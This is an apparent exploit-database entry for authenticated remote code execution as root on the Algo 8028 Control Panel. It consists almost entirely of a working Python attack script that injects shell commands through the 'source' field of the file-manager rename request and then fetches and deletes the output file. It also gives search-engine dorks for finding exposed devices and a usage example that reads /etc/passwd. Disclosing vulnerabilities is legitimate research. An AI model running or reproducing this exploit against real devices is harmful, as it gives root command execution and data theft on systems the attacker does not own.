Algo 8028 Control Panel Remote Code Execution

`# Exploit Title: Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated)  
# Google Dork: intitle:"Algo 8028 Control Panel"  
# Shodan: title:"Algo 8028 Control Panel"  
# Date: 2022-06-07  
# Exploit Author: Filip Carlsson  
# Vendor Homepage: https://www.algosolutions.com/  
# Software Link: https://www.algosolutions.com/firmware-downloads/8028-firmware-selection/  
# Version: 3.3.3  
# Tested on: Version 3.3.3  
# CVE : N/A  
# Exploit:  
  
# Due to bad sanitation in http://<IP:PORT>/control/fm-data.lua you can do command injection as root  
# Request: POST  
# Formdata:  
# action: rename  
# source: /a";echo $(id) 2>&1 > /opt/algo/web/root/cmd.txt;"  
# target: /  
  
#!/usr/bin/env python3  
import sys  
import requests  
  
cookie=None  
  
def main():  
# check if provided 3 args  
if len(sys.argv) != 4:  
print_help()  
return  
else:  
host = sys.argv[1]  
password = sys.argv[2]  
command = sys.argv[3]  
  
if login(host, password):  
# if login was successful, send command  
send_command(host, command)  
  
def print_help():  
print("Usage: algo.py 192.168.1.123 password command")  
print("Example: algo.py 192.168.123 algo \"cat /etc/passwd\"")  
  
def login(host, password):  
url = f"http://{host}/index.lua"  
data = {"pwd": password}  
res = requests.post(url, data=data)  
  
# check if html contains "Invalid Password"  
if "Invalid Password" in res.text:  
print("Invalid password")  
return False  
else:  
# save cookie  
global cookie  
cookie = res.cookies  
print("Successfully logged in\n")  
return True  
  
def send_command(host, command):  
url = f"http://{host}/control/fm-data.lua"  
data = {"action": "rename", "source": f"/a\";echo $({command}) 2>&1 > /opt/algo/web/root/a.txt;\"", "target": "/"}  
res = requests.post(url, data=data, cookies=cookie)  
  
# get http://host/cmd.txt  
url = f"http://{host}/a.txt"  
res = requests.get(url)  
  
# if "404 Not Found" in text then command was not executed  
if "404 Not Found" in res.text:  
print("Command was not executed (404)")  
else:  
print(res.text)  
  
# delete cmd.txt  
url = f"http://{host}/control/fm-data.lua"  
data = {"action": "rename", "source": f"/a\";$(rm -rf /opt/algo/web/root/a.txt);\"", "target": "/"}  
requests.post(url, data=data, cookies=cookie)  
  
if __name__ == "__main__":  
main()  
  
`